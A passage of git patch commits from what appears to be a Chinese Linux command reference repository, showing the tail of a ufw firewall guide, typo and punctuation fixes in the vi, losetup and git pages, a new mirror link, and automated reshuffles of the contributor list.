+- `comment `: 为规则添加注释（需配合 `allow`/`deny` 使用）。 + +### 选项 + +- `--dry-run`: 仅显示规则变更，不实际应用。 + +------ + +## 返回值 + +- 成功执行返回 `0`。 +- 错误或无效参数返回非零值。 + +------ + +## 示例 + +### 基础操作 + +``` +# 启用防火墙 +sudo ufw enable + +# 关闭防火墙 +sudo ufw disable + +# 查看防火墙状态 +sudo ufw status +``` + +### 规则配置 + +``` +# 允许SSH默认端口（22/tcp） +sudo ufw allow ssh + +# 允许TCP协议的8080端口并添加注释 +sudo ufw allow 8080/tcp comment "Web Server" + +# 拒绝来自192.168.1.5的访问 +sudo ufw deny from 192.168.1.5 + +# 拒绝UDP协议的53端口 +sudo ufw deny 53/udp +``` + +### 高级操作 + +``` +# 显示带编号的规则列表（便于删除） +sudo ufw status numbered + +# 删除第3条规则 +sudo ufw delete 3 + +# 重置所有规则 +sudo ufw reset +``` + +------ + +## 注意 + +1. **权限要求**：需使用 `sudo` 执行命令。 +2. **默认策略**：首次启用时默认阻止所有入站流量，允许所有出站流量。 +3. **规则优先级**： + 规则按顺序匹配，先拒绝后允许可能导致冲突 +4. **日志记录**： + 可通过 `sudo ufw logging on` 启用日志，日志路径为 `/var/log/ufw.log` +5. **服务名称支持**： + 支持 `/etc/services` 中定义的服务名（如 `http`、`ssh`） From 8cf952e395224f60a4015b11993675191891736f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Feb 2025 03:59:41 +0000 Subject: [PATCH 0985/1019] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index cb037d1d429..27d623d80a7 100644 --- a/README.md +++ b/README.md @@ -345,7 +345,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. linuxwd lewis1573 leo -kid1412621 +NanoNova kassadin juemuren4449 Forever121 @@ -405,7 +405,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -Mystic +chaofan MinsonLee Marnm mwei @@ -427,6 +427,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer 重劍無鋒 Guiying Li +Github1977 Frankie Divenire Derek @@ -436,7 +437,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 -chaofan c2ch brinkqiang bestlaw66 @@ -466,7 +466,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -Q.Ben Zheng +Q.Ben Zheng +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 4d8d6c86913c43f6469a2fae55f3b20a14b3799d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Feb 2025 03:59:42 +0000 Subject: [PATCH 0986/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 61f29d0860f..220d95ff8ef 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -55,7 +55,7 @@ linuxwd lewis1573 leo -kid1412621 +NanoNova kassadin juemuren4449 Forever121 @@ -115,7 +115,7 @@ zoomdong zuixin369 zyimm -Mystic +chaofan MinsonLee Marnm mwei @@ -137,6 +137,7 @@ HighScorePlayer 重劍無鋒 Guiying Li +Github1977 Frankie Divenire Derek @@ -146,7 +147,6 @@ azroy Alan 0x_000 -chaofan c2ch brinkqiang bestlaw66 @@ -176,7 +176,8 @@ Robigus Rining Wu Ray Yee -Q.Ben Zheng +Q.Ben Zheng +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 74e3582ea24f489605f3dbd066b3ecfdd78cd1e6 Mon Sep 17 00:00:00 2001 From: hanwei Date: Tue, 25 Feb 2025 12:06:53 +0800 Subject: [PATCH 0987/1019] doc: Update vi.md (#637) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 有些符号是全角中文，应该改为半角英文 --- command/vi.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/vi.md b/command/vi.md index 7536619c178..6f78d225eab 100644 --- a/command/vi.md +++ b/command/vi.md @@ -28,7 +28,7 @@ nyy：将当前行及其下n行的内容保存到寄存器？中，其中？为 p：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的下方； P：粘贴文本操作，用于将缓存区的内容粘贴到当前光标所在位置的上方； /字符串：文本查找操作，用于从当前光标所在位置开始向文件尾部查找指定字符串的内容，查找的字符串会被加亮显示； -？字符串：文本查找操作，用于从当前光标所在位置开始向文件头部查找指定字符串的内容，查找的字符串会被加亮显示； +?字符串：文本查找操作，用于从当前光标所在位置开始向文件头部查找指定字符串的内容，查找的字符串会被加亮显示； a，bs/F/T：替换文本操作，用于在第a行到第b行之间，将F字符串换成T字符串。其中，“s/”表示进行替换操作； a：在当前字符后添加文本； A：在行末添加文本； @@ -38,9 +38,9 @@ o：在当前行后面插入一空行； O：在当前行前面插入一空行； :wq：在命令模式下，执行存盘退出操作； :w：在命令模式下，执行存盘操作； -:w！：在命令模式下，执行强制存盘操作； +:w!：在命令模式下，执行强制存盘操作； :q：在命令模式下，执行退出vi操作； -:q！：在命令模式下，执行强制退出vi操作； +:q!：在命令模式下，执行强制退出vi操作； :e文件名：在命令模式下，打开并编辑指定名称的文件； :n：在命令模式下，如果同时打开多个文件，则继续编辑下一个文件； :f：在命令模式下，用于显示当前的文件名、光标所在行的行号以及显示比例； From 9b2c3111d23d799b8007f09b5d5df659429aaa5e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 25 Feb 2025 04:07:19 +0000 Subject: [PATCH 0988/1019] doc: update README.md. --- README.md | 66 +++++++++++++++++++++++++++---------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index 27d623d80a7..0e221593088 100644 --- a/README.md +++ b/README.md @@ -321,34 +321,34 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Xrtero James Wang Shan Chenyu -duzhuoshanwai +BingCoke gggwvg VVatt will xhal Shell 沙漠之子 -Qliangw -Wang Yujia alfred +Wang Yujia +Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem -YH -Xingwen Zhang RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -FunKeen -BingCoke -Ein Verne -linuxwd -lewis1573 -leo -NanoNova -kassadin +Xingwen Zhang +YH +jqz3.tech juemuren4449 -Forever121 +kassadin +NanoNova +leo +lewis1573 +linuxwd Ricardowang cole dufu @@ -356,23 +356,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -rexlin600 -cxalc -dayday -Deny -dongpohezui -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -jqz3.tech +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Forever121 +rexlin600 七朔 孤城落寞 尘埃 From b15713b8677cdb7ef12c0fc809bb9283c9776d4d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 25 Feb 2025 04:07:20 +0000 Subject: [PATCH 0989/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 66 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 220d95ff8ef..45f19124345 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -31,34 +31,34 @@ Xrtero James Wang Shan Chenyu -duzhuoshanwai +BingCoke gggwvg VVatt will xhal Shell 沙漠之子 -Qliangw -Wang Yujia alfred +Wang Yujia +Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem -YH -Xingwen Zhang RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -FunKeen -BingCoke -Ein Verne -linuxwd -lewis1573 -leo -NanoNova -kassadin +Xingwen Zhang +YH +jqz3.tech juemuren4449 -Forever121 +kassadin +NanoNova +leo +lewis1573 +linuxwd Ricardowang cole dufu @@ -66,23 +66,23 @@ noodles2hg nsnans oliver -rexlin600 -cxalc -dayday -Deny -dongpohezui -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -jqz3.tech +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Forever121 +rexlin600 七朔 孤城落寞 尘埃 From 984f1fa82f797c86b05443cc104b23516c8f59bd Mon Sep 17 00:00:00 2001 From: illmons Date: Mon, 3 Mar 2025 22:27:45 +0800 Subject: [PATCH 0990/1019] doc: update command/losetup.md (#639) --- command/losetup.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/losetup.md b/command/losetup.md index 237436c97df..bedaea698b2 100644 --- a/command/losetup.md +++ b/command/losetup.md @@ -45,7 +45,7 @@ losetup [ -d ] loop_device dd if=/dev/zero of=floppy.img bs=512 count=2880 ``` -使用 losetup将磁盘镜像文件虚拟成快设备： +使用 losetup 将磁盘镜像文件虚拟成块设备： ```shell losetup /dev/loop1 floppy.img @@ -57,7 +57,7 @@ losetup /dev/loop1 floppy.img mount /dev/loop0 /tmp ``` -经过上面的三步之后，我们就可以通过/tmp目录，像访问真实快设备一样来访问磁盘镜像文件floppy.img。 +经过上面的三步之后，我们就可以通过/tmp目录，像访问真实块设备一样来访问磁盘镜像文件floppy.img。 卸载loop设备： From 6494d44c0666e69c8da911e87ef3e989b49a92c2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Mar 2025 14:28:21 +0000 Subject: [PATCH 0991/1019] doc: update README.md. --- README.md | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 0e221593088..1188d762b50 100644 --- a/README.md +++ b/README.md @@ -340,8 +340,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem RichardLCD -Xingwen Zhang YH +Xingwen Zhang +Mystic jqz3.tech juemuren4449 kassadin @@ -356,22 +357,22 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Forever121 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 rexlin600 七朔 孤城落寞 @@ -405,7 +406,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -chaofan MinsonLee Marnm mwei @@ -437,6 +437,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 +Forever121 +chaofan c2ch brinkqiang bestlaw66 @@ -466,8 +468,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -Q.Ben Zheng -Mystic +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From cea25ecad65a25e368fa359e4e15c8980ebe33d4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Mar 2025 14:28:22 +0000 Subject: [PATCH 0992/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 45f19124345..0472d7c490c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -50,8 +50,9 @@ Dazhuangw Alterem RichardLCD -Xingwen Zhang YH +Xingwen Zhang +Mystic jqz3.tech juemuren4449 kassadin @@ -66,22 +67,22 @@ noodles2hg nsnans oliver -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Forever121 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 rexlin600 七朔 孤城落寞 @@ -115,7 +116,6 @@ zoomdong zuixin369 zyimm -chaofan MinsonLee Marnm mwei @@ -147,6 +147,8 @@ azroy Alan 0x_000 +Forever121 +chaofan c2ch brinkqiang bestlaw66 @@ -176,8 +178,7 @@ Robigus Rining Wu Ray Yee -Q.Ben Zheng -Mystic +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From 184faaaac8b4f58fa586d994cc480d40c2a596f3 Mon Sep 17 00:00:00 2001 From: geekeryy Date: Tue, 8 Apr 2025 11:16:41 +0800 Subject: [PATCH 0993/1019] doc: Update README.md (#641) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1188d762b50..d679ce3eae6 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/), [`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** From 08b80e8206507ba811bda67215f4c01a48a08e36 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 8 Apr 2025 03:17:16 +0000 Subject: [PATCH 0994/1019] doc: update README.md. --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d679ce3eae6..b4e7b0e0605 100644 --- a/README.md +++ b/README.md @@ -342,7 +342,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. RichardLCD YH Xingwen Zhang -Mystic +cxalc jqz3.tech juemuren4449 kassadin @@ -357,7 +357,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -cxalc dayday Deny dongpohezui @@ -372,6 +371,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 +illmons jcdj666 rexlin600 七朔 @@ -406,6 +406,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm +Mystic MinsonLee Marnm mwei From e4a5781542bc6fd0bb72db5e017b6090ac4efadb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 8 Apr 2025 03:17:17 +0000 Subject: [PATCH 0995/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0472d7c490c..2af191f255a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -52,7 +52,7 @@ RichardLCD YH Xingwen Zhang -Mystic +cxalc jqz3.tech juemuren4449 kassadin @@ -67,7 +67,6 @@ noodles2hg nsnans oliver -cxalc dayday Deny dongpohezui @@ -82,6 +81,7 @@ hotdogc1017 huangyao hululu1068 +illmons jcdj666 rexlin600 七朔 @@ -116,6 +116,7 @@ zoomdong zuixin369 zyimm +Mystic MinsonLee Marnm mwei From 3c1b8ca90cb8432afee0b77601632c69b68197b3 Mon Sep 17 00:00:00 2001 From: focksor Date: Wed, 9 Apr 2025 12:58:33 +0800 Subject: [PATCH 0996/1019] doc: atop.md, git.md (#642) --- command/atop.md | 8 ++--- command/git.md | 80 ++++++++++++++++++++++++++++++++++--------------- 2 files changed, 60 insertions(+), 28 deletions(-) diff --git a/command/atop.md b/command/atop.md index 0b5535f1f10..ca04cc49b93 100644 --- a/command/atop.md +++ b/command/atop.md @@ -24,9 +24,9 @@ atop [选项] [参数] 该列显示进程整体运行情况： - sys、usr字段分别指示进程在内核态和用户态的运行时间 -- #proc字段指示进程总数 -- #zombie字段指示僵尸进程的数量 -- #exit字段指示atop采样周期期间退出的进程数量 +- `#proc` 字段指示进程总数 +- `#zombie` 字段指示僵尸进程的数量 +- `#exit` 字段指示atop采样周期期间退出的进程数量 ### CPU列 @@ -111,4 +111,4 @@ atop开发者提供了以上日志保存方式，相应的`atop.daily`脚本可 ## 相关资料 -- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) \ No newline at end of file +- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) diff --git a/command/git.md b/command/git.md index 2c7ea45b20a..7295ee20e29 100644 --- a/command/git.md +++ b/command/git.md @@ -63,25 +63,35 @@ tag 创建，列出，删除或验证使用GPG签名的标签对象 init -`git init` #初始化 +```shell +git init # 初始化 +``` status -`git status` #获取状态 +```shell +git status # 获取状态 +``` add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` push @@ -93,9 +103,11 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） clone -`git clone git://github.com/JSLite/JSLite.js.git` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` @@ -156,7 +168,9 @@ ssh -T git@github.com # 测试是否成功 **3.修改config文件** -`vim ~/.ssh/config` #修改config文件，如果没有创建 `config` +```shell +vim ~/.ssh/config # 修改config文件，如果没有创建 `config` +``` ```shell Host jslite.github.com @@ -269,7 +283,9 @@ usage: git remote set-url [--push] [] or: git remote set-url --delete ``` -`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git` +```shell +git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git +``` **3.推送代码** @@ -634,25 +650,35 @@ git config --global core.quotepath false ### init -`git init` #初始化 +```shell +git init # 初始化 +``` ### status -`git status` #获取状态 +```shell +git status # 获取状态 +``` ### add -`git add file` # .或*代表全部添加 -`git rm --cached ` # 在commit之前撤销git add操作 -`git reset head` # 好像比上面`git rm --cached`更方便 +```shell +git add file # .或*代表全部添加 +git rm --cached # 在commit之前撤销git add操作 +git reset head # 好像比上面`git rm --cached`更方便 +``` ### commit -`git commit -m "message"` #此处注意乱码 +```shell +git commit -m "message" # 此处注意乱码 +``` ### remote -`git remote add origin git@github.com:JSLite/test.git` #添加源 +```shell +git remote add origin git@github.com:JSLite/test.git # 添加源 +``` ### push @@ -664,9 +690,11 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） ## clone -`git clone git://github.com/JSLite/JSLite.js.git` -`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 -`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 +```shell +git clone git://github.com/JSLite/JSLite.js.git +git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹 +git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。 +``` git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` @@ -817,7 +845,9 @@ git push -u origin branchName # 提交分支到远程origin主机中 ### 拉取 -`git fetch -p` #拉取远程分支时，自动清理 远程分支已删除，本地还存在的对应同名分支。 +```shell +git fetch -p # 拉取远程分支时，自动清理 远程分支已删除，本地还存在的对应同名分支。 +``` ### 分支合并 @@ -830,7 +860,9 @@ git merge test # 将test分支合并到当前分支 ### 重命名 -`git branch -m old new` #重命名分支 +```shell +git branch -m old new # 重命名分支 +``` ### 查看 From edbe93191b66433cdbed7d1492a1a8b259c20113 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 9 Apr 2025 04:58:59 +0000 Subject: [PATCH 0997/1019] doc: update README.md. --- README.md | 165 +++++++++++++++++++++++++++--------------------------- 1 file changed, 83 insertions(+), 82 deletions(-) diff --git a/README.md b/README.md index b4e7b0e0605..3af46b03dee 100644 --- a/README.md +++ b/README.md @@ -308,20 +308,20 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye lavaicer YEUNGCHIE -SteveLauC +James Wang MioMuse Xrtero -James Wang Shan Chenyu -BingCoke +SteveLauC +duzhuoshanwai gggwvg VVatt will @@ -331,24 +331,24 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. alfred Wang Yujia Qliangw -Ein Verne -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -duzhuoshanwai Dazhuangw Alterem -RichardLCD YH Xingwen Zhang -cxalc -jqz3.tech -juemuren4449 -kassadin -NanoNova -leo +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +NanoNova +kassadin +juemuren4449 +jqz3.tech +jcdj666 linuxwd Ricardowang cole @@ -356,13 +356,15 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver +zyimm +0x_000 dayday Deny dongpohezui ecjtusbs gang.yang gedune +geekeryy gesty ghy githubwxz @@ -372,8 +374,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. huangyao hululu1068 illmons -jcdj666 -rexlin600 七朔 孤城落寞 尘埃 @@ -390,6 +390,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 bycs Yidan Wang +oliver +rexlin600 sfwwslm shc shuangcui @@ -405,71 +407,70 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -zyimm -Mystic -MinsonLee -Marnm -mwei -Wang -Lucien -Lix -LinuxZilong -Lin Wuxian -孟思行 -LexsionLee -Legend -LaudOak -Karl Horky Nexchard -Jelly -Jack.A.Black -Jack -Huntout Zhang -HighScorePlayer -重劍無鋒 -Guiying Li -Github1977 -Frankie -Divenire -Derek -Danny -DaYangtuo247 -Cui Yang -azroy +Karl Horky +LaudOak +Legend +LexsionLee +孟思行 +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +MinsonLee +Mystic +Q.Ben Zheng Alan -0x_000 -Forever121 -chaofan -c2ch -brinkqiang -bestlaw66 -bell -azureology -Ashine -amit794 -One Person’s Revelry -0Knot (0KN) -Yunbin Liu -Yan Sheng -Xu Chunyang +azroy +Cui Yang +DaYangtuo247 +Danny +Derek +Divenire +Frankie +Github1977 +Guiying Li +重劍無鋒 +HighScorePlayer +Huntout Zhang +Jack +Jack.A.Black +Jelly Xonline-Tech -Xiaodong DENG -XBG -Wingrez -Na Meng -T-TRz879 -SunX -Spaghetti-C -RoachZhao -Azolla -SevenSteven -SMVirus -殇 -Rocher -Robigus -Rining Wu +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +Forever121 +cxalc Ray Yee -Q.Ben Zheng +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez +XBG +Xiaodong DENG 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 87a3114a84f601c730e7c3f85b9f6dba3463f744 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 9 Apr 2025 04:59:00 +0000 Subject: [PATCH 0998/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 165 +++++++++++++++++++------------------- 1 file changed, 83 insertions(+), 82 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2af191f255a..a17485db3d2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,20 +18,20 @@ Zijing Zhang Fubin Zhang __FresHmaN -谈笑风生间 -ernest dulltackle +ernest +谈笑风生间 zyy2477 rgshare loverainye lavaicer YEUNGCHIE -SteveLauC +James Wang MioMuse Xrtero -James Wang Shan Chenyu -BingCoke +SteveLauC +duzhuoshanwai gggwvg VVatt will @@ -41,24 +41,24 @@ alfred Wang Yujia Qliangw -Ein Verne -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -duzhuoshanwai Dazhuangw Alterem -RichardLCD YH Xingwen Zhang -cxalc -jqz3.tech -juemuren4449 -kassadin -NanoNova -leo +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +NanoNova +kassadin +juemuren4449 +jqz3.tech +jcdj666 linuxwd Ricardowang cole @@ -66,13 +66,15 @@ miniwater noodles2hg nsnans -oliver +zyimm +0x_000 dayday Deny dongpohezui ecjtusbs gang.yang gedune +geekeryy gesty ghy githubwxz @@ -82,8 +84,6 @@ huangyao hululu1068 illmons -jcdj666 -rexlin600 七朔 孤城落寞 尘埃 @@ -100,6 +100,8 @@ 远方 bycs Yidan Wang +oliver +rexlin600 sfwwslm shc shuangcui @@ -115,71 +117,70 @@ zodiac zoomdong zuixin369 -zyimm -Mystic -MinsonLee -Marnm -mwei -Wang -Lucien -Lix -LinuxZilong -Lin Wuxian -孟思行 -LexsionLee -Legend -LaudOak -Karl Horky Nexchard -Jelly -Jack.A.Black -Jack -Huntout Zhang -HighScorePlayer -重劍無鋒 -Guiying Li -Github1977 -Frankie -Divenire -Derek -Danny -DaYangtuo247 -Cui Yang -azroy +Karl Horky +LaudOak +Legend +LexsionLee +孟思行 +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +MinsonLee +Mystic +Q.Ben Zheng Alan -0x_000 -Forever121 -chaofan -c2ch -brinkqiang -bestlaw66 -bell -azureology -Ashine -amit794 -One Person’s Revelry -0Knot (0KN) -Yunbin Liu -Yan Sheng -Xu Chunyang +azroy +Cui Yang +DaYangtuo247 +Danny +Derek +Divenire +Frankie +Github1977 +Guiying Li +重劍無鋒 +HighScorePlayer +Huntout Zhang +Jack +Jack.A.Black +Jelly Xonline-Tech -Xiaodong DENG -XBG -Wingrez -Na Meng -T-TRz879 -SunX -Spaghetti-C -RoachZhao -Azolla -SevenSteven -SMVirus -殇 -Rocher -Robigus -Rining Wu +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +Forever121 +cxalc Ray Yee -Q.Ben Zheng +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez +XBG +Xiaodong DENG

